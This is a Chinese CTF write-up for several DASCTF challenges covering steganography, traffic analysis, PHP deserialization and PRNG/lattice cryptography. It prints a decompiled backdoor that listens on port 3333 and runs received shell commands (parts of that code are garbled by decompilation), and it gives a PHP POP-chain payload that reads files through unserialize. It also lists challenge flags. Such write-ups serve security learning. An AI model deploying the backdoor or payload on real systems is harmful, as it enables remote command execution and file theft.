在CTF挑战中,遇到一个包含加密数据的flag.txt文件,末尾数据疑似经过AES加密处理。首先搁置该部分,分析其他线索。
通过侧信道分析WAV文件,使用SilentEye工具从JPEG图像中提取密钥JnzJcwoi23nDmx。

从WAV文件中进一步提取出一个ELF程序,该程序用于数据加密。

分析ELF程序的asec函数,发现其采用AES128 ECB加密模式,密钥为2e9a4dcb55be306bdb136d86b8e6ee82。

加密输出中添加了脏字符串VeHb8c2b4和e2HmCvW10,但不影响解密过程,直接移除后得到有效数据:
g5636cbOJ8FpXlO5qa/1kYOet+nGzifBaV5Tuamv9ZGDnrfpxs4nwWleU7mpr/WRg5636cbOJ8FpXlO5qa/1kUzaLBhXbm4r7r9srIIMdfbsTjs7f+2kIuDW5+au/rFPcYtw34Bff64f026xejKkF7KD8IC0WgBhk52vt9vmQ/xDSSJ7VeI6T8Ba+KbPNhoyhaHcpCDGOpDq1+HC1T4ppokYJjI2b/HQpdWsKDGeeFcQt24onV+ISkQwUtuT825p/bH53+TIa1yzKoC6xN8Fut6t4B3u5tm6o0QMp5perUbereAd7ubZuqNEDKeaXq1G3q3gHe7m2bqjRAynml6tRt6t4B3u5tm6o0QMp5perUYB1jBuGn9vQRcH00rETGTrdMqW+8hh92rGq0hFUReN/GrL7X/A6/67tKSUdzajAeNqy+1/wOv/ u7SklHc2owHjasvtf8Dr/ru0pJR3NqMB42rL7X/A6/67tKSUdzajAeNepoUkVYrKVjDwIlKuO+0LE/ri0FprJ3ik39G1jLyEIYOet+nGzifBaV5Tuamv9ZGDnrfpxs4nwWleU7mpr/WRg5636cbOJ8FpXlO5qa/1kYOet+nGzifBaV5Tuamv9ZFFtihjWfZCAFrpDu1dec338PPuLb5UA5a9Du9BSwR4HyFNno/HVXI2x4wpnP6vClkhTZ6Px1VyNseMKZz+rwpZIU2ej8dVcjbHjCmc/q8KWSFNno/HVXI2x4wpnP6vClkgAC0d7J5eqNfOCKq7+YDX7E47O3/tpCLg1ufmrv6xT3rKKrKHBMXANkGoUJ9f7S7TncHJrX0k9ZcN+z4NzyWU24shtRE+/a8NSZIQXoh+RV6kqsNcRjkX2yQXSqWWi4I54uaoU0qU8kWPPl+fOk70
按顺序解密后,数据为Base64编码,通过CyberChef工具处理:
https://code.iloli.moe/cyberchef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'2e9a4dcb55be306b'%7D,%7B'option':'Hex','string':''%7D,'ECB','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=ZzU2MzZjYk9KOEZwWGxPNXFhLzFrWU9ldCtuR3ppZkJhVjVUdWFtdjlaR0RucmZweHM0bndXbGVVN21wci9XUmc1NjM2Y2JPSjhGcFhsTzVxYS8xa1V6YUxCaFhibTRyN3I5c3JJSU1kZmJzVGpzN2YrMmtJdURXNSthdS9yRlBjWXR3MzRCZmY2NGYwMjZ4ZWpLa0Y3S0Q4SUMwV2dCaGs1MnZ0OXZtUS94RFNTSjdWZUk2VDhCYStLYlBOaG95aGFIY3BDREdPcERxMStIQzFUNHBwb2tZSmpJMmIvSFFwZFdzS0RHZWVGY1F0MjRvblYrSVNrUXdVdHVUODI1cC9iSDUzK1RJYTF5ektvQzZ4TjhGdXQ2dDRCM3U1dG02bzBRTXA1cGVyVWJlcmVBZDd1Ylp1cU5FREtlYVhxMUczcTNnSGU3bTJicWpSQXlubWw2dFJ0NnQ0QjN1NXRtNm8wUU1wNXBlclVZQjFqQnVHbjl2UVJjSDAwckVUR1RyZE1xVys4aGg5MnJHcTBoRlVSZU4vR3JMN1gvQTYvNjd0S1NVZHphakFlTnF5KzEvd092K3U3U2tsSGMyb3dIamFzdnRmOERyL3J1MHBKUjNOcU1CNDJyTDdYL0E2LzY3dEtTVWR6YWpBZU5lcG9Va1ZZcktWakR3SWxLdU8rMExFL3JpMEZwckozaWszOUcxakx5RUlZT2V0K25HemlmQmFWNVR1YW12OVpHRG5yZnB4czRud1dsZVU3bXByL1dSZzU2MzZjYk9KOEZwWGxPNXFhLzFrWU9ldCtuR3ppZkJhVjVUdWFtdjlaRkZ0aWhqV2ZaQ0FGcnBEdTFkZWMzMzhQUHVMYjVVQTVhOUR1OUJTd1I0SHlGTm5vL0hWWEkyeDR3cG5QNnZDbGtoVFo2UHgxVnlOc2VNS1p6K3J3cFpJVTJlajhkVmNqYkhqQ21jL3E4S1dTRk5uby9IVlhJMng0d3BuUDZ2Q2xrZ0FDMGQ3SjVlcU5mT0NLcTcrWURYN0U0N08zL3RwQ0xnMXVmbXJ2NnhUM3JLS3JLSEJNWEFOa0dvVUo5ZjdTN1RuY0hKclgwazlaY04rejROenlXVTI0c2h0UkUrL2E4TlNaSVFYb2grUlY2a3FzTmNSamtYMnlRWFNxV1dpNEk1NHVhb1UwcVU4a1dQUGwrZk9rNzA&oeol=CRLF

最终获取flag:DASCTF{23w89c2n2g-8cr57t6bv92-213vf3vb9-13cyn23vb}。
Protocol_decryption
分析流量包,在HTTP流量中发现2.cpython-37.pyc文件,反编译后得到源码:
import socket
import subprocess
CUSTOM_BASE64_CHARS = 'LMNOPQRSTUVWxyzabcdefghijklmnopqrstuvw0123456789+/XYZABCDEFGHIJK'
def custom_base64_encode(data):
binary_string = ''.join((lambda .0: pass)(data))
padding = len(binary_string) % 6
if padding:
binary_string += '0' * (6 - padding)
encoded_string = ''
for i in range(0, len(binary_string), 6):
chunk = binary_string[i:i + 6]
index = int(chunk, 2)
encoded_string += CUSTOM_BASE64_CHARS[index]
return encoded_string
def custom_base64_decode(encoded_string):
binary_string = ''
for char in encoded_string:
index = CUSTOM_BASE64_CHARS.index(char)
binary_string += format(index, '06b')
binary_string = binary_string.rstrip('0')
decoded_data = bytearray()
for i in range(0, len(binary_string), 8):
byte = binary_string[i:i + 8]
if byte:
decoded_data.append(int(byte, 2))
return bytes(decoded_data)
def execute_command(command):
try:
result = subprocess.run(command, True, True, True, **('shell', 'capture_output', 'text'))
return result.stdout + result.stderr
except Exception:
e = None
try:
return str(e)
e = None
del e
return None
def start_server():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('0.0.0.0', 3333))
server_socket.listen()
print('Server is listening...')
(conn, addr) = server_socket.accept()
print(f'''Connected by {addr}''')
while None:
data = conn.recv(1024)
if not data:
break
decoded_command = custom_base64_decode(data.decode()).decode()
output = execute_command(decoded_command)
encoded_output = custom_base64_encode(output.encode())
conn.sendall(encoded_output.encode())
conn.close()
if __name__ == '__main__':
start_server()
编写Python脚本解密流量,提取端口3333的数据:
tshark -r Protocol_decryption.pcap -Y "tcp.port==3333" -T fields -e data.data > out.hex

解密后得到flag:flag{e34f1743c79af05fe922317bd44aaed1}。
easyResQ
从URI流量中提取Base64编码数据,移除冗余字符后解码:
ZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyBEQVNDVEZ7NmFlNWM0Mzk4NTlhZDQyMGUyY2UyNmRjYWVlZDZiMjB9ZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUu

解码后获取flag:DASCTF{6ae5c439859ad420e2ce26dcaeed6b20}。
Web反序列化
题目源码提示flag在flag.php,构造反序列化Pop链利用网络安全漏洞:
<?php
class FileReader {
public $filename;
public $content;
public function __construct($filename = '') {
$this->filename = $filename;
$this->content = '';
}
public function read() {
if (file_exists($this->filename)) {
$this->content = file_get_contents($this->filename);
echo $this->content;
return $this->content;
}
return null;
}
public function __toString() {
return $this->content;
}
}
class DataProcessor {
public $reader;
public $data;
public function __construct($reader = null, $data = null) {
$this->reader = $reader;
$this->data = $data;
}
public function process() {
if ($this->reader !== null && method_exists($this->reader, 'read')) {
return $this->reader->read();
}
return null;
}
public function __toString() {
return $this->process();
}
}
class OutputHandler {
public $processor;
public $format;
public function __construct($processor = null, $format = 'text') {
$this->processor = $processor;
$this->format = $format;
}
public function render() {
if ($this->processor === null) {
return '';
}
$output = $this->processor;
if ($this->format === 'html') {
return '<pre>' . htmlspecialchars($output) . '</pre>';
}
return $output;
}
public function __destruct() {
$this->render();
}
}
unserialize($_GET['data']);
?>
链式逻辑:OutputHandler->__destruct() → render() → processor->__toString() → process() → reader->read()。
构造Payload:
$f = new FileReader();
$f->filename = "flag.php";
$p = new DataProcessor();
$p->reader = $f;
$o = new OutputHandler();
$o->processor = $p;
$o->format = "html";
echo urlencode(serialize($o));
执行后获取flag。
Crypto挑战
task.py
题目涉及PRNG状态反推,使用格密码技术解密:
import secrets
from Crypto.Cipher import AES
import hashlib
MASK64 = (1 << 64) - 1
def rotl64(x, n):
return ((x << n) | (x >> (64 - n))) & MASK64
class rand:
inv11 = pow(11, -1, 1 << 64)
inv13 = pow(13, -1, 1 << 64)
def __init__(self, s: list[int]):
if len(s) != 4:
raise ValueError("invalid state")
self.s = s
@staticmethod
def generate():
return rand([secrets.randbits(64) for _ in range(4)])
@staticmethod
def temper(s1: int) -> int:
return (rotl64((s1 * 13) & MASK64, 9) * 11) & MASK64
@staticmethod
def untemper(y: int) -> int:
x = (y * rand.inv11) & MASK64
x = rotl64(x, 64 - 9)
x = (x * rand.inv13) & MASK64
return x
def step(self):
s0, s1, s2, s3 = self.s
result = s1
x = (s1 >> 13) & MASK64
s2 ^= s0
s3 ^= s1
s1 ^= s2
s0 ^= s3
s2 ^= x
s3 = rotl64(s3, 23)
self.s = [s0, s1, s2, s3]
return result
def __call__(self):
return rand.temper(self.step())
gift = [10985600798761172310, 3345325618133513476, 2722881897911525365, 1527608446272288228]
enc_hex = "55614b00a3e68ff9b53787f487ccf3c192af93e0eaf55445fc5cdf9580d6ac64"
# 反推PRNG状态并解密
raw_s1 = [rand.untemper(g) for g in gift]
s2_1 = raw_s1[1] ^ raw_s1[0] ^ (raw_s1[0] >> 13)
s2_2 = raw_s1[2] ^ raw_s1[1] ^ (raw_s1[1] >> 13)
s0_1 = s2_1 ^ raw_s1[2] ^ raw_s1[1]
s0_2 = s2_2 ^ raw_s1[3] ^ raw_s1[2]
s3_1 = s0_2 ^ s0_1 ^ raw_s1[1]
state_1 = [s0_1, raw_s1[1], s2_1, s3_1]
r_cracked = rand(state_1)
next_random_val = r_cracked()
key = hashlib.md5(str(next_random_val).encode("utf-8")).digest()
cipher = AES.new(key=key, mode=AES.MODE_ECB)
flag_enc = bytes.fromhex(enc_hex)
flag = cipher.decrypt(flag_enc)
print(flag.decode("UTF-8"))
输出flag:DASCTF{fuNn9_r@nd_in_l1n3@r!!!!}。
Polynomial
使用格密码技术,通过SageMath求解:
poly_list = [
(64016, 25520316237078313140456986857881928058549076707755112677854946319330896907845743298690704342692885112075237241487454533121683404035254873591420381372527913433606686612177780658339670231000507725652305177416545695796597924630327869665715257232550739705372510242639316861897237478090628420488963160268687040555922117347341183726302892751897265995190767467024728161377876902790488387325164514459540658371026898355154660573737800099718544946593732877817395054256821783508366758524323355235970104799264587945624167991082381171580602643938595149795716153147041311952298782877452338277227206155676226683089743351407384296403182881963550469882),
# ... 其他多项式数据
]
# 使用SageMath构建格并求解
from sage.all import *
def solve():
N = 128
M_eq = 8
B = 2**63
K = 2**100
X_list = [p[0] for p in poly_list]
Y_list = [p[1] for p in poly_list]
dim_row = N + 1 + 1
dim_col = N + 1 + 1 + M_eq
mat = Matrix(ZZ, dim_row, dim_col)
for i in range(N + 1):
mat[i, i] = 1
for j in range(M_eq):
mat[i, N + 1 + 1 + j] = K * (X_list[j] ** i)
const_row_idx = N + 1
mat[const_row_idx, N + 1] = 1
for j in range(M_eq):
sum_x_pow = sum([X_list[j] ** i for i in range(N + 1)])
target_y = Y_list[j] - B * sum_x_pow
mat[const_row_idx, N + 1 + 1 + j] = -K * target_y
L = mat.LLL()
coeffs = []
for i in range(L.nrows()):
row = L[i]
is_valid_eq = True
for k in range(M_eq):
if row[N + 1 + 1 + k] != 0:
is_valid_eq = False
break
if is_valid_eq:
if row[N + 1] == 1:
coeffs = [b + B for b in row[:N+1]]
break
elif row[N + 1] == -1:
coeffs = [b + B for b in [-x for x in row[:N+1]]]
break
if not coeffs:
return
ep = sum([coeff * (0x65537 ** i) for i, coeff in enumerate(coeffs)])
key = hashlib.md5(str(ep).encode()).digest()[:16]
cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)
flag = cipher.decrypt(ct)
print(flag.decode())
solve()
解密后得到flag:DASCTF{Y0u_r3@11y_Kn0w_what_your_3V@lu@t3_pO1ynOmi@1!}。